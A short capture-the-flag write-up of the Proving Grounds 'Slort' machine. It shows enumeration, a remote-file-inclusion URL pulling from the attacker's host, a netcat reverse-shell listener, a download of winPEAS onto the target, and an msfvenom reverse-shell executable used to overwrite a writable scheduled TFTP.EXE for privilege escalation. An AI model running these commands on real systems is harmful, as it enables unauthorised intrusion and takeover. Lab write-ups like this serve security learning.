Proving Grounds: Slort Write-up

192.168.183.53

Enumeration

sudo nmap -sCV -p- -Pn -T4 $IP --open

sudo nmap -sU -sV --top-ports 100 192.168.183.53
FTP 21
mysql 3306 mariadb 10.3.24
4443 http apache 2.4.43 also 8080

Website

sudo nmap -Pn -p 4443,8080 --script vuln $IP
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://$IP:8080/FUZZ -fs 4317

Let’s visit the dashboard!

Nothing grape on the website let’s checkout the ftp.

FTP

FileZilla Server version 0.9.41 beta

Ah yes.

Perhaps its a remote file inclusion??

http://192.168.183.53:8080/site/index.php?page=http://192.168.45.162/test.txt

What if we just uploaded a reverse shell?

My favorite, put that in a shell and:

sudo rlwrap nc -lnvp 4443

WELL OF COURSEEEE!

Future Britton Here: I absolutely LOVE RFI vulnerabilities. PROBABLY one of the coolest vulns I have ever seen and I don’t know why, it was one of the first exploit I hit to get a reverse shell.

I’m rupert dude

wget https://github.com/peass-ng/PEASS-ng/releases/download/20260701-584b0e93/winPEASany.exe

python3 -m http.server 80
iwr -URI http://192.168.45.162/winPEASany.exe -O winpeas.exe

It peass!

Interesting.

icacls "C:\Backup\TFTP.EXE"

BUILTIN\Users:(I)(F)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\Authenticated Users:(I)(M)


Baller, that means I have full access!!

And it runs every 5 minutes.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.162 LPORT=8080 -f exe -o reverse_shell.exe

Once I get this on the machine I replace TFTP.exe with it and then it runs every 5 minutes!

BANG!

← all writeups